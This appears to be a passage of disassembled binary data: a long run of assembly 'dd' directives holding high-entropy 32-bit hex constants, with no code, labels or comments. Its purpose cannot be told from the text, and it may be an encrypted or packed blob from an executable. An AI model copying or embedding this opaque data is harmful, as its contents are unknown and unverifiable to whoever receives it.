		dd 6532325Bh, 2AF65E55h, 38BA3A79h, 1BC03F3Dh, 8B9897DCh
		dd 10222220h, 0B4A8AFEDh, 23A32A28h, 0AF450968h, 7FBB3D89h
		dd 65596110h, 3B602539h, 963E526Ah, 1E1C1C60h, 7346C81Ch
		dd 4E1DDBDCh, 12291333h, 4BAC1D29h, 2123D82Ch, 0F6B08733h
		dd 0AE36153Fh, 35192C7Fh, 1B4C903Ch, 3040F74Eh,	27642B2Fh
		dd 0BC26A9AFh, 8824D42Eh, 42D87F1Fh, 0C3D43D52h, 79F82CEEh
		dd 3E332655h, 0F9650B81h, 14A0757Dh, 8BC262Eh, 4BF1E74h
		dd 40AAF98Dh, 8F6E02B5h, 24121EA7h, 9F1BA923h, 3C343C26h
		dd 0CB2FBBB8h, 1F1C1719h, 2922A923h, 0BF2C2491h, 0A82728E8h
		dd 232F6F0Bh, 0B3B735F0h, 32B68534h, 7B946B29h,	0D77436FAh
		dd 0CDE517DFh, 0E2D33014h, 891FF528h, 2A2D23E3h, 2C292C13h
		dd 5FBA2032h, 362E11B3h, 1C367936h, 313D333Bh, 121C143Fh
		dd 212F0C1Eh, 0A75F4BFEh, 7A544FFAh, 0A67A2B7Fh, 31A80B9Ah
		dd 0DC14B831h, 1366BA61h, 0F6B7259Ah, 3877B67Eh, 80E5F609h
		dd 2C23A838h, 0A84E58A8h, 2C5E09D0h, 34C47D2Eh,	642674BCh
		dd 0D0F8BD25h, 0D606DE39h, 0ED02CE00h, 5FE29F21h, 2D1C29AEh
		dd 0A8E6311Ah, 0D140928h, 1D100112h, 0D0A310Eh,	9720B0Ah
		dd 6B3A0772h, 63006B02h, 1E237E25h, 1C4F1E77h, 185F1A57h
		dd 0AC17A827h, 0BC13A015h, 0CA93011h, 8910AADh,	3B533B37h
		dd 1A6935AEh, 1F762397h, 1178CE5Fh, 27247324h, 20A843ACh
		dd 2A2EEB0Eh, 33B035C6h, 603CF279h, 3B28453Eh, 19FCAF52h
		dd 4DBB4D62h, 201BDA42h, 0A0825274h, 5C332E29h,	0C227BA22h
		dd 0C8A4E66Dh, 73136DAh, 0C7C87A70h, 18BFAF4Eh,	183FB61Dh
		dd 5EEEEB2Fh, 0AA32ECABh, 47CE0190h, 6657C12Bh,	63BD0C2Dh
		dd 0B7F46114h, 3727E910h, 0B4D23839h, 0B3B31A0Ch, 1E9D143Fh
		dd 0FA20001Ch, 22262477h, 2819BBCFh, 442C467Dh,	46B8602Dh
		dd 7FBC3837h, 39D8F936h, 0FC3D38B6h, 11384FB4h,	21A1DE35h
		dd 25DBDCC0h, 50EA0C24h, 9573B01Ah, 70F12F2Ch, 44360E24h
		dd 324D4176h, 3F74FA65h, 43A8363Ah, 223B1E22h, 20976124h
		dd 73CD925h, 0AC18794Eh, 0F31478F6h, 2DCC5228h,	5A2EC722h
		dd 6A385A38h, 3F735A59h, 3BEA6C58h, 533FC922h, 8267D627h
		dd 2224C179h, 347E2C0Dh, 0DB313033h, 84A12ECCh,	3A6C196Bh
		dd 3F3EC23Eh, 1F2DF8F3h, 65DAB3Fh, 31144C37h, 0CB2A3DD8h
		dd 0AB456AA3h, 3D0CDFEDh, 39353B33h, 3A36C737h,	3E323C34h
		dd 1D131B30h, 212F1F11h, 0D103232Dh, 0E8081362h, 894546BFh
		dd 13D9682Eh, 40349650h, 399860DFh, 348EF382h, 0DD092FFFh
		dd 25110ED2h, 0AC208709h, 8D3ACF17h, 3EC24A29h,	613BAC64h
		dd 6404B988h, 7814F1DDh, 40CB01A9h, 0F3818E26h,	1F2DCEBAh
		dd 2E5DD11Bh, 28AD26AFh, 0A2747608h, 166F3D64h,	32BD6F6Fh
		dd 58049A32h, 6DF618A3h, 2478E1D4h, 0D64C0F1Dh,	0A92A2ADFh
		dd 5EAE7A2Dh, 0CAA03876h, 262D4669h, 0D232303Fh, 3775EE33h
		dd 3A293135h, 393D3839h, 151C0B3Bh, 2E21DCAEh, 7242124h
		dd 393A2723h, 2FAE2F2Ah, 31303F28h, 35F6E33Eh, 3D38C737h
		dd 3E3CCB26h, 2E1B185Ah, 20C81C19h, 24253625h, 0A853083Fh
		dd 7C7A2929h, 0CF272C47h, 0AC310224h, 4D0570BCh, 30BF292Bh
		dd 1CFF3C85h, 4B1D1D0Dh, 2DA2FDCBh, 2382E420h, 0AA7AA1E8h
		dd 2F222CECh, 1F27CE34h, 61A20EF5h, 3F7EB90Ah, 596C6B5Ch
		dd 0C8D48FBh, 0E00935E0h, 8634502Bh, 361C3C27h,	218081Eh
		dd 705301Ah, 371010Fh, 6E390D7Bh, 5A08600Eh, 1D29770Ah
		dd 145C2A6Ah, 10A816A6h, 0B51DB326h, 81198F1Fh,	4842F1Bh
		dd 0F0068Eh, 0EDB802FAh, 0D909E70Fh, 893BD30Bh,	242AE21Dh
		dd 30152E17h, 3BB0262Ah, 7DA6A821h, 433BFFC5h, 9E36CD52h
		dd 0F3363617h, 8CB6A61h, 3A3EBCB6h, 4E4806A1h, 97D2E8C8h
		dd 0D71CE4B9h, 0A8D2B6Bh, 912B3B3Ch, 4EBD3DA0h,	38302A35h
		dd 6E278838h, 0AD6ED00Fh, 0FC15694Fh, 9C007D0Fh, 0DF296048h
		dd 2CEEB107h, 7B38778Fh, 360A362Eh, 3037FD35h, 0C522469Fh
		dd 8C3083E8h, 6E92EA32h, 5013601Ah, 4A4E2E96h, 824A55CFh
		dd 2DCE795Eh, 40721908h, 33F341D6h, 3637A89Ah, 0D142803Ah
		dd 4948333Eh, 0F8CF3396h, 0E6186201h, 5747CF59h, 7737EA1Bh
		dd 458CFDEEh, 8C37CF2Ch, 8261625h, 3D691C93h, 3FBB1A7Dh
		dd 1FDE1C04h, 746A7775h, 276E1350h, 7462245Ch, 72EE1E72h
		dd 22F6B064h, 36F6F636h, 533A4918h, 0EF2DB558h,	0BE86F4B5h
		dd 91212F1Fh, 2629242Ch, 6852E815h, 7D7C2DD6h, 23C02296h
		dd 0E664247Fh, 0C7C3447Eh, 2FB6C31Fh, 0FD4E1323h, 2162F7BEh
		dd 7BDBDEDAh, 292CE57Fh, 29232AB4h, 32C09F68h, 3DBE2B22h
		dd 0B12C3776h, 163F7B34h, 5A926D1Fh, 803B0C59h,	84224AAFh
		dd 8F8ECE25h, 0A9292A29h, 0BB365AEDh, 0EEB7363Ch, 0F9B40185h
		dd 1D1F5279h, 0E46E00ECh, 1E1E9D09h, 2F1AE5A3h,	2417E1A5h
		dd 2E372F5Dh, 0B2A69A7h, 3831C134h, 0B22E7DBFh,	3F4FF038h
		dd 0FC7AFDBFh, 7E589D0Bh, 0CA727607h, 1737C407h, 0EE39AB53h
		dd 2EEC1723h, 3747243Eh, 66066A17h, 3A6E6D73h, 0AFC6B73Eh
		dd 3970265Fh, 0AA259D0Ah, 2D2264DCh, 68649F98h,	0D0A7EA11h
		dd 217CAFA3h, 2939BA20h, 1910167Bh, 30B53A72h, 9602FE16h
		dd 7106DF05h, 0A73461h,	2828A741h, 0ECAE3AEDh, 0B4A57C58h
		dd 349B1631h, 4CF7B236h, 26BBD71Bh, 0DF3AFE6Dh,	1C9E4F3Ch
		dd 2C6230A1h, 24268924h, 0C0787878h, 212E1631h,	30BE3932h
		dd 0B72FF11Dh, 9B6B1586h, 38BE3FB5h, 49A21B1Bh,	630A2009h
		dd 20A1E457h, 6AEA5B26h, 0AF7D2805h, 6361346Eh,	0C9C826DBh
		dd 36371AB7h, 21B24AF1h, 7718103Fh, 71A81E1Eh, 98A437CAh
		dd 0F8EB2FE2h, 7B7F032Dh, 0C4F62E79h, 0B0048DB2h, 0BD37C126h
		dd 3D7FA3A8h, 7C3E1E1Fh, 0C5E6761Ch, 26A3FB70h,	28A7AE20h
		dd 0CDB80F08h, 0C60A0E2Dh, 1433D3AFh, 38D69F10h, 3CDA6B58h
		dd 0DE891B1Dh, 3A3E1DFDh, 322C0F3h, 27C7C401h, 0C40F0945h
		dd 0A0E2DCDh, 1332D0CDh, 0A4EC3E11h, 393A8DE6h,	737C5A5Ch
		dd 0CD247A30h, 2D61009Fh, 0D9DBBBA7h, 7A0C4DD8h, 2F08ACC4h
		dd 3009B50Eh, 32344A37h, 311D0F93h, 351B50D5h, 163F5F8Ch
		dd 422B3D5Bh, 272F112Dh, 142C2602h, 2C2EF3FAh, 0CE35F744h
		dd 0B42391E5h, 513937F3h, 0C26D3718h, 0FF7E2FE9h, 29203911h
		dd 2D182B1Eh, 9C2612A0h
		dd 4C3CD21Ch, 612CEF20h, 30A21A34h, 59E1C965h, 0FCBE78C9h
		dd 3DEC0649h, 1F5E1DEFh, 1BA20B54h, 0AD2F5004h,	6B2B6128h
		dd 5B0ED4ACh, 2B5A55C7h, 0F4E0265h, 3AAA3A38h, 3FA63C3Ch
		dd 0E62DDF18h, 1110A32Fh, 0F5175A11h, 181A3E15h, 0AE1E7518h
		dd 0C502AD1Ch, 2706CB00h, 440D0F03h, 0DF09EA0Fh, 5229580Bh
		dd 5A15772Bh, 0C6119817h, 711E3A13h, 0CE1BF01Ch, 2F082019h
		dd 0BFCBCE32h, 3A38AFB8h, 0AAAA3BB0h, 4D4B3C3Eh, 0E59F764Fh
		dd 2523C3BDh, 642755CDh, 8EFA929h, 80B62A6h, 696D326Eh
		dd 35BE526Eh, 0BF9B3E39h, 8BFC0AF9h, 83D21D1Dh,	0DC482120h
		dd 649AF54Ch, 4F2A2828h, 7F2A2D8Dh, 32F30A70h, 58BA3A20h
		dd 80639A9h, 245D62EEh,	57D4240h, 39B87DA1h, 263A19DCh
		dd 0A009283Dh, 28A70703h, 52A7907Eh, 0BDDD3000h, 0C5B1C587h
		dd 653CE053h, 7D0D55B2h, 21349F34h, 2922E426h, 658986C7h
		dd 8C938DE0h, 61B6C779h, 0BE24641Dh, 59F0DFEEh,	25B56C3Bh
		dd 0FDDBD7BAh, 0C848261Ch, 8235399h, 9675772Dh,	2C03D1D9h
		dd 17A7F8h, 0A3DB6563h,	3B85C524h, 2C3A1FD1h, 1371B50Ah
		dd 51975C4Bh, 372EF035h, 76032C14h, 2B9F06BFh, 90C6052Ch
		dd 0C7FF31C2h, 0DF1F1D34h, 0C03ACB97h, 0D7143DC8h, 1EEF8309h
		dd 22D22C36h, 63AACC08h, 0DE7E28D5h, 51C5002Bh,	63B430DDh
		dd 0DE1834C7h, 8939CA58h, 2A133CCFh, 1DEE44D7h,	0E20EBFFh
		dd 0D7AD6CCAh, 0DA252826h, 7EEC8AA2h, 0E66402A5h, 855C7672h
		dd 0C6B83772h, 1988B0EFh, 1F3B3FB6h, 29F7D096h,	0DCA86E21h
		dd 0D7EEA525h, 82D9EA1Ah, 79FE06DAh, 0C1320260h, 0A4BC1795h
		dd 6C393B14h, 7A9F7C0Fh, 531F3CFEh, 73023504h, 57466234h
		dd 0CB44286Ah, 9FEF2C6Eh, 0F1E939F0h, 5337773Ch, 33E7B6Dh
		dd 7D5E3C7Eh, 1F5F401Ah, 23637547h, 76246677h, 68652965h
		dd 6C78642Ah, 3373742Eh, 0A347673h, 6F3D3975h, 7C093D79h
		dd 1C5E2B3Eh, 9215D32h,	1256177h, 0D645AA7h, 412E6BFCh
		dd 35A04528h, 354BFF32h, 0B338373Ch, 1381F7Eh, 1C1C4B1Eh
		dd 236B1721h, 94E0E213h, 7CA127B3h, 0ACA07DBAh,	31B3463Ah
		dd 57F337A0h, 30557485h, 314FFABCh, 0AF3C7E00h,	0F9E78DFh
		dd 33343320h, 0A62EAADDh, 1A2F9920h, 6F472E24h,	4B0E280Fh
		dd 37F43933h, 0BDC5302Ch, 0FE34FF07h, 0F61C1C1Bh, 0CE21F0EDh
		dd 2574EAA8h, 0CBCA6955h, 2246C2Bh, 32345726h, 3F9B3CFCh
		dd 33968878h, 77F52E0Ah, 0C526B7Eh, 1C520D2Ah, 23206148h
		dd 0FDC02305h, 4723A8C2h, 34832E2Eh, 0BDFCB863h, 891CF7AAh
		dd 0D4383Ah, 5C1B33FEh,	8C161E1Ch, 0CC252121h, 2B40D428h
		dd 0EC2C6A20h, 0B03AC63Ah, 3029B126h, 1CBBBB65h, 3D3F7AB1h
		dd 1B6B303Ch, 0D1954538h, 0A3B15323h, 6A309824h, 0A90D756Ah
		dd 91242F7Ch, 0BA335048h, 3CB4A1A2h, 0B9257FFAh, 0DE088723h
		dd 41A88819h, 23F51A9Eh, 66CCCF21h, 14AFBC26h, 6E925369h
		dd 0B2A72C2Eh, 0ACD29033h, 0B4AB38B7h, 1F2C795Ah, 7C64893Ch
		dd 0AA2F1F38h, 0AC947531h, 29BDCF36h, 39352A3Bh, 31393E2Fh
		dd 34B1DB0Fh, 0B06E3C14h, 4FD43B32h, 9FE4C1FDh,	0AB5F02D9h
		dd 46CB72EEh, 0E735A79Ch, 0AD12C22Dh, 0BB27690Ah, 2C3B1665h
		dd 3BB7BF7Dh, 632F1E7Dh, 0BB660BDh, 0DFF4723Dh,	3219C19h
		dd 0AE92ED57h, 262EEA84h, 274825E8h, 0B13A596Ch, 633E5D06h
		dd 696F251Ch, 97E8357Ch, 0F1B145Bh, 0EE30201Bh,	2E0C7DC2h
		dd 2201600Dh, 0A5306CDAh, 0F70A326Ch, 963C473Fh, 0D1387939h
		dd 0E6C5BF2Bh, 0FC053E1Ch, 6053F1Eh, 423C3h, 29C91290h
		dd 0CC6F0E0Ah, 60150F2Eh, 570133D2h, 0FE180F63h, 0BDA6FEC0h
		dd 0B7A03A3Ch, 323F1A3Ch, 0F522A3E7h, 0A9FB26A4h, 0ADCC0029h
		dd 30AEDC2Dh, 3C33B3CCh, 38B79BA1h, 0BD3BBA2Ah,	213ABFE2h
		dd 0CA435F35h, 432600EDh, 0C48D5446h, 3D23C80Dh, 3E1F302Eh
		dd 0CCBE3191h, 0A8209791h, 70F83999h, 0BFB8495Dh, 0F35B81Bh
		dd 0B1E2273Eh, 0E41B2682h, 0B310BC52h, 0AEA069A9h, 33AF7F2Ch
		dd 77EF6631h, 7B1E3D36h, 33BEE4B0h, 1D1CE43Dh, 0C7BEF71Eh
		dd 0DE1FDCDFh, 6AA4AF29h, 38A6AB2Ch, 143059B1h,	5D6664E2h
		dd 1751320Eh, 542C6F3Bh, 371BB51Ch, 0A003DA9Eh,	8121AB73h
		dd 0AA4374A4h, 282A2A7Bh, 632D3D7Eh, 645A4779h,	0C99BACB5h
		dd 3C343A36h, 7BFE3E39h, 0E237500Eh, 3EED78DFh,	86A22527h
		dd 7D7BF9BCh, 0EFCAC57Ch, 42C36A3Ah, 0B61F1145h, 3D7F3B78h
		dd 7F373D6Ch, 4F195290h, 2EB0F0E0h, 0C42DD675h,	7A797A25h
		dd 3015FF51h, 3F3C3F61h, 0D73D731Ch, 0C3BA3EF6h, 4A774B7Bh
		dd 3D4897FFh, 0A9DB941Dh, 0AE0C7C20h, 1148471Bh, 458BEA78h
		dd 52F17EEEh, 55E3CC62h, 7E985317h, 576AFB22h, 66F36E0Dh
		dd 4A5FAF1Fh, 6AA93221h, 0D1A77961h, 6C75AC1Bh,	704A4E8Bh
		dd 94BE61F2h, 0F8043A11h, 739183Bh, 9FB2F03Eh, 1F0239A8h
		dd 15227019h, 650205A4h, 6BA72F2Dh, 7E09AD31h, 3334F762h
		dd 32F6343Eh, 1B2E396Eh, 3F4AEFB9h, 0E15E916Fh,	4F55E09Ah
		dd 0D95EA92Bh, 0D0A239E0h, 6E6EDDA0h, 933F22Ch,	323634D2h
		dd 3A49C7B4h, 153E3CE3h, 9813C7E0h, 6055746Eh, 54FC25D2h
		dd 8515252Eh, 52CE3C2h,	4028288Eh, 0B8056334h, 19386370h
		dd 0D53F395Bh, 97599F62h, 843B8A45h, 33241h, 0AC38745Dh
		dd 0CBB0E3Dh, 0E44EF23Bh, 7F3E5274h, 0BBC9631h,	9CFD21D2h
		dd 1C0FBC3Dh, 17E6DC1Ch, 0A92364A8h, 0AF22356Fh, 2A882B65h
		dd 422D50A1h, 0C19732C3h, 3424C537h, 28BA340Ch,	3C2E3E28h
		dd 0DF1E1B6Bh, 61A80B96h, 836520D1h, 2D992997h,	2E223DF4h
		dd 0C33D52C3h, 7233D2E2h, 3CD83837h, 6E2D549Fh,	0FDB7E83Bh
		dd 24C1771Fh, 0BFCC473Ah, 29A82E06h, 6E9C376h, 2DB02DEEh
		dd 692CD352h, 0D1643134h, 5E6CCE8Ch, 3CE23FBCh,	631B9A04h
		dd 0A6AE2221h, 2ED6F621h, 0C40B2EBBh, 0AFC2B0B5h, 0D333D39h
		dd 0D058A527h, 5F229A76h, 19382F72h, 5CE11C97h,	743FAE33h
		dd 0D64DB705h, 0EA31C17Fh, 1F3B6A2Bh, 2674B86Fh, 17A96A5Dh
		dd 0AD30D1C9h, 0AFC83BDCh, 17691D3Bh, 3FC95849h, 570FA463h
		dd 0C52A6D59h, 1036FEFEh, 0B3123153h, 656B646h,	0FA308915h
		dd 0DF63424Fh, 98485AB6h, 0B16BFF7Dh, 0CD473223h, 0D739E8F6h
		dd 112F3BD5h, 74704CCCh, 333293A3h, 7C3810DEh, 19CD34B1h
		dd 29129FBFh, 0C8D4954Fh, 0FFAE7284h, 2A372404h, 7C0743E8h
		dd 707E1E25h, 643FA2B4h, 32173CB5h, 3C5B3939h, 18310E2Ch
		dd 188ECAE3h, 72F7DE15h, 52222205h, 276C0969h, 0C2610FCh
		dd 6FE27691h, 0B3B8BE05h, 0E683533h, 0CE164D9Ch, 1E5D5D18h
		dd 0E2A4B25Fh, 51EE5817h, 5B2D4C48h, 0AB222849h, 0AB919CC9h
		dd 0A0DD2792h, 129C12F7h, 543D2EBBh, 1D16A03Eh,	37AB4E1Dh
		dd 75CC3ECh, 65682639h,	0EA43AB42h, 18B22CEEh, 0DD3F9513h
		dd 5830951Bh, 26983A2Eh, 385FAB31h, 0D51F636h, 24A936C1h
		dd 29DFADDAh, 2C5ED531h, 3471A315h, 27DB6161h, 243E3E34h
		dd 347DB769h, 0B337D66Dh, 161BE1E4h, 0CB710B54h, 37A6A226h
		dd 7D2EEDABh, 2B3F53C4h, 0F727CE34h, 137A0935h,	3DBA202Ch
		dd 73BCB0Fh, 0E12E5C1Ah, 0E5E62094h, 769D3063h,	246944CFh
		dd 2A2B306Bh, 0E73530A7h, 0B76137B6h, 39B96A34h, 0BC28CDC6h
		dd 2D8D3E3Ch, 492B1E0Dh, 6B7C111Eh, 2CC0DB4Fh, 3F432BCAh
		dd 34C08FAEh, 30A19A53h
		dd 3CA818A0h, 0AD15345Ah, 6C94B237h, 0EAF77222h, 50276220h
		dd 207A787Ah, 8E702B99h, 40EBAD70h, 343BCAF3h, 0E7818034h
		dd 333B3564h, 0E43F313Dh, 1F111D13h, 232D212Fh,	2729252Bh
		dd 2B252927h, 202E22F3h, 3C323E30h, 0F76FE434h,	62E960E7h
		dd 70D6298Ch, 0CA45FF37h, 23E1D01Eh, 0E0E62CE1h, 0AE7CF52Fh
		dd 28A8F92Dh, 0F037B687h, 729932B1h, 3BFB82DEh,	0BA8FD5AFh
		dd 0D909B135h, 20E4BD1Fh, 682AA2B8h, 0BB0ACEAAh, 0C4BC2AE8h
		dd 0ED35EDA4h, 0F5B6E1DBh, 7B508F37h, 283C010Fh, 1D8E8311h
		dd 7FA7191Dh, 27C82121h, 0E899662Ah, 803FAEA1h,	3B933ACCh
		dd 30413183h, 71332777h, 0BC4DEB02h, 483E54F3h,	9C5208E3h
		dd 0A2090B2Ah, 2DA4302Eh, 0A120A8B0h, 882F68A1h, 629531A5h
		dd 91C58C66h, 0C4713904h, 3C2CD4C3h, 3E3998DCh,	2421213Fh
		dd 26D6E2CBh, 0D808EE5Fh, 0C62C2E2Bh, 0BE30319Ah, 56A57217h
		dd 38381B86h, 3C0E9DD3h, 1C184A5Fh, 12B0F71Dh, 27128B20h
		dd 0A7C00B22h, 7DEC3F5Ah, 8230EF06h, 0B8B9B337h, 0B13B37B8h
		dd 1D3D99A6h, 1D18284Fh, 0AC1A0992h, 32532B36h,	0C0156BA8h
		dd 390BF138h, 603D39AFh, 1624B323h, 2FB9F9C5h, 0DEA8D6Fh
		dd 9A3329B4h, 1E4E6E0Bh, 7CABD70h, 30A93E84h, 6CD22269h
		dd 58183AABh, 24BB5E00h, 0BF6A5547h, 3B6A7B2Fh,	873E3A3Ch
		dd 503D1DEBh, 22D156F7h, 0E4F7221h, 5A2B4236h, 8FBC39B4h
		dd 16B584A4h, 227A87CBh, 5A6FF804h, 7F35C63Bh, 0B68D1362h
		dd 0BA01B31Eh, 8F332283h, 3A7E3D22h, 58ECAE80h,	0B0847126h
		dd 0F63172F6h, 3D989F32h, 2F2C1BDBh, 0ECC4D02Eh, 2746241Dh
		dd 8A29CD44h, 208B9E2Dh, 9A8FDE6Bh, 0B3DEA52Dh,	0F8B82ADDh
		dd 1C5336BCh, 0F9D36A25h, 0E41FC0F0h, 2F3A4997h, 716EB125h
		dd 362E224h, 0C32E296Ch, 4F2F0886h, 730231FEh, 0DF3635CBh
		dd 0C44C64D0h, 0F1B56DC3h, 66BEF4FBh, 0A7E5DFE0h, 40214279h
		dd 4C2D20B1h, 0EE294862h, 0F36CD84Ch, 563E3722h, 0BFE07169h
		dd 0BEB933C4h, 181F1B1Bh, 21316454h, 25D5A868h,	6FA5D025h
		dd 63C47B2Bh, 7631E53Ch, 72763A49h, 38387300h, 3C6E0B3Eh
		dd 0C9E410BCh, 0A90FDA9Eh, 7C072265h, 740352A8h, 2C2FD596h
		dd 5A3D2A2Eh, 0E1CC3331h, 0BB31BF35h, 0FAB832FDh, 6E702E39h
		dd 0E1E96F0h, 3319E813h, 0C3A22AE5h, 47A71828h,	0A4762D08h
		dd 8D33314Dh, 37773AA2h, 1B3B0F18h, 7D1E3FFCh, 0CE7F0C6Dh
		dd 2158C84Fh, 0A460D412h, 3BA27B36h, 0AF320C93h, 0B4180E25h
		dd 34B58C39h, 323F163Fh, 1E2D71B6h, 1D4A45D6h, 0C828528Ah
		dd 26A47520h, 0D748A2ADh, 7D04D4D5h, 1BB309C6h,	6ABC3060h
		dd 62656916h, 333DFFBBh, 609BBFFDh, 2F1B0D39h, 6E03C2A4h
		dd 822C422h, 122AA2Eh, 302B2845h, 334C3033h, 37361F11h
		dd 5C3E99BCh, 3A1F583Ah, 3B4A9636h, 0E311310Ch,	4586234Eh
		dd 0BA2B4334h, 450A2D8Ch, 123232ACh, 0BC7F813Ch, 2EDAF8FBh
		dd 7FFD6FBEh, 179DDB63h, 0A1F9037Fh, 1DE428A3h,	29F12307h
		dd 4E116DF6h, 2C145236h, 761FB6C5h, 0FB39230Ah,	0FF3639DAh
		dd 753857B4h, 21E31C7Ah, 4B22CB4Ch, 48FB1027h, 9E6C19AAh
		dd 31F00B0Ah, 7D346364h, 6B69232Eh, 0FD50737Ah,	5413573Fh
		dd 70251E8Ch, 768196A8h, 1CE7F5DAh, 46664E68h, 7C77F2Eh
		dd 54BE20F1h, 0FCB4B639h, 3D7A5A1Dh, 0FF3B34Eh,	9E1A3D95h
		dd 23F22D24h, 0AF506435h, 6BA325A5h, 5B532C02h,	4E320C10h
		dd 120AB514h, 3B14075Ch, 3C213935h, 54182A1Ah, 61727B19h
		dd 7B056A62h, 7A60081Dh, 25E8B2Bh, 5D61100Fh, 4344041h
		dd 3E9C4B5Eh, 1F363465h, 0C01C3E05h, 0A1991F4Dh, 574C5702h
		dd 284C4643h, 0ACC81C2Ah, 6628AF7Dh, 0DD2004B2h, 3B39373Eh
		dd 6AC47FBAh, 0E21D78D6h, 3B9F715Fh, 7373ECAAh,	0DE9E26CDh
		dd 0A77CD5D4h, 1ADC6F5h, 0BD6437B1h, 0B91EDE2Dh, 6B032A3Eh
		dd 1AFE1FD5h, 1DF64C14h, 775CE0EEh, 0E3A50D00h,	963E3918h
		dd 7EC72CD1h, 18CDCF3Ah, 598F3FCBh, 3754844Eh, 6A6D054Ch
		dd 76C62F9Bh, 71A1231Fh, 0C4246FE3h, 0C112C069h, 0E0940A2h
		dd 6F284557h, 27A57853h, 2B5D3A76h, 3E9D7923h, 51990BFCh
		dd 1E10333Ah, 6130A766h, 77EBADD9h, 0FA0A071h, 551A0E0Ah
		dd 20F43EBBh, 99CD6FF2h, 3C1CF83Ah, 0AD1B4F6Ah,	0CF1E7744h
		dd 242C1D67h, 2828262Ah, 2C242A26h, 2CC36ED2h, 5C656171h
		dd 0A836360Ah, 2497520Ch, 0C92EAE01h, 83F590Ch,	14A71F8h
		dd 0CE1A9818h, 5C171114h, 1289102Ch, 0D6B0CD1h,	46097524h
		dd 0C205F807h, 3EAE27BCh, 2E040A18h, 102F1076h,	0D2162443h
		dd 931FB112h, 196D3C1Dh, 5D0075Fh, 37A1F449h, 3200137h
		dd 7800554h, 5C260B32h,	36A04624h, 0E6004B32h, 9D676428h
		dd 6C040F36h, 71A5AF3Ch, 0AFDC6220h, 2B7DDE54h,	0BDE70834h
		dd 9718F8AAh, 383B8A35h, 76A72C60h, 30E1A577h, 1C7D7861h
		dd 0BB132A29h, 0A3AC6CF2h, 37397937h, 3F3B3539h, 9881313Dh
		dd 0CF0E0F3Fh, 714023E2h, 0A2292450h, 7B21D91Fh, 2FA2213Dh
		dd 0B1283032h, 0FF23CA34h, 0FF8A3D09h, 4ECEB638h, 6288C05h
		dd 740132DFh, 0BCD0AAAh, 2CA260E6h, 3223DC2Ah, 0BC3EF514h
		dd 363535C7h, 2E57B535h, 36CD41B8h, 8F126E3Dh, 24627FF6h
		dd 7C7CCBECh, 3D892757h, 31DD3628h, 5B2CDC86h, 0C40A1179h
		dd 25CC1F2Ah, 21CED448h, 9D31A2Eh, 0C91E3E43h, 0A90B9254h
		dd 0A9920CAAh, 26AF2623h, 4525AC23h, 3E644566h,	32662395h
		dd 0E87B5B8Eh, 0C071BF2Ch, 5C6A785Bh, 534F214Fh, 55435151h
		dd 463E4866h, 0C64C2D49h, 56641731h, 5E457546h,	437F5757h
		dd 3F3A753Ch, 71715B19h, 6F4D417Dh, 49484123h, 5E7A5155h
		dd 5B596C4Ah, 8B33305Ch, 3E667832h, 3A715C43h, 3E58508Dh
		dd 9DF43712h, 21DFE2CEh, 0E94C2148h, 2828636Dh,	0E3352987h
		dd 0BB023AEh, 90EB372h,	0D680DB4h, 39F5CBD2h, 2D988828h
		dd 0BBF79221h, 202313A1h, 0ABA5CE31h, 0C427A20Ah, 64342F54h
		dd 29330215h, 51351A17h, 3F82D225h, 1A6D003Eh, 3D1F4C20h
		dd 230B6013h, 0E77DF25h, 74D5F8C3h, 202E2205h, 3C323E30h
		dd 38363A34h, 9E3A3638h, 0AEA77DCAh, 4FE10CAAh,	287F6615h
		dd 5F2725F6h, 28692A26h, 2C220A29h, 7C75322Fh, 23768048h
		dd 3A9C7BDEh, 8213C0Dh,	2B302D1Bh, 1D20292Ah, 69126714h
		dd 291E7310h, 1B481D76h, 7441942h, 0B1024F32h, 0AD0EBB00h
		dd 0BA03B0Ch, 2AB7099Ah, 9C1F28A9h, 2C15E617h, 8100212h
		dd 1B7F1D11h, 0BC634E71h, 3A73206h, 0FF3019Dh, 237B2EB4h
		dd 0F36C6C6Ch, 79C183Bh, 2BE52274h, 2724B5A6h, 0A02A75E4h
		dd 2B0A692Ch, 43DFD960h, 6EC905CBh, 4F3B3DFAh, 6A6D1D31h
		dd 3A71971Bh, 56AA760Fh, 0AD352407h, 5EDC13FEh,	0A52D7B0Ah
		dd 642D1453h, 32FEBF64h, 7A3A382Ah, 2BC26E2Bh, 965F1BD7h
		dd 0D7209AEEh, 21A1A52Dh, 297B2526h, 61A17C7Fh,	0DDD81B0Ah
		dd 2FB7043Ch, 0B87934h,	573F3BD6h, 9C4B702Ah, 0B9FEA36h
		dd 60202220h, 66A57DCDh, 0ADD3A131h, 5A6F173Fh,	5E3E5821h
		dd 9C26B67Ch, 0F024BA11h, 4A270C3Ch, 105DC8E3h,	66564F62h
		dd 2646279Bh, 0A62DA22Bh, 872DF77Bh, 336061E8h,	1DB7A913h
		dd 330F8F8h, 0FEEBC26Ch, 5C1EDD15h, 2005B455h, 7734E49Bh
		dd 0E63CD775h, 2F2F2CF1h, 0B10577A4h, 353A01FCh, 59C70DF3h
		dd 0BF22A6Bh, 28D31830h
		dd 222F2AD1h, 72E32E01h, 0DB29D829h, 47C47B35h,	2AE1384Eh
		dd 2A3F1E35h, 693B2735h, 3F3F13D2h, 481A3F72h, 41D0134h
		dd 2003D229h, 0C07676D5h, 7D26EA77h, 3F22A528h,	6A3D2E77h
		dd 4A2E2FB4h, 0FC092DB9h, 0D3F78B5h, 940B5B94h,	23723966h
		dd 0FBAE30DBh, 8593282Ah, 2F6AA1ACh, 2B74F631h,	8606A8B6h
		dd 0BCC5C7D1h, 0B41E301Fh, 0B59D1DDAh, 1130AA1Bh, 2635ACEAh
		dd 0A32D60AEh, 66A42463h, 4F71B1F3h, 3E003533h,	6B490002h
		dd 16B25C6Dh, 0FFFC33BFh, 71D40739h, 284D67Ah, 0E90F05AEh
		dd 0B8A0D85h, 4BE17E3Fh, 59035792h, 1E584301h, 67472DBEh
		dd 443D1736h, 5BD3BB2h,	14062AC1h, 3703A972h, 3C7B3E79h
		dd 226AE92h, 1487DBF1h,	50353633h, 9E2ABAADh, 1B3E3EA1h
		dd 1BDA9E1Dh, 73265A9h,	23E6A030h, 205E260Dh, 0C7E6A62Ch
		dd 0CCCC6704h, 0DCCE05BFh, 19380A3Ah, 0B26F61B8h, 0F60C533Bh
		dd 0E21740Dh, 6EA50077h, 780F67AAh, 0AFB92E7Ah,	0B635822Fh
		dd 7E7F3516h, 1F0D3911h, 1B5ED03Ah, 8C77CB3Eh, 0AD213E1Eh
		dd 0B4542204h, 612DC626h, 0CF2CAA01h, 3015172Bh, 0C5351522h
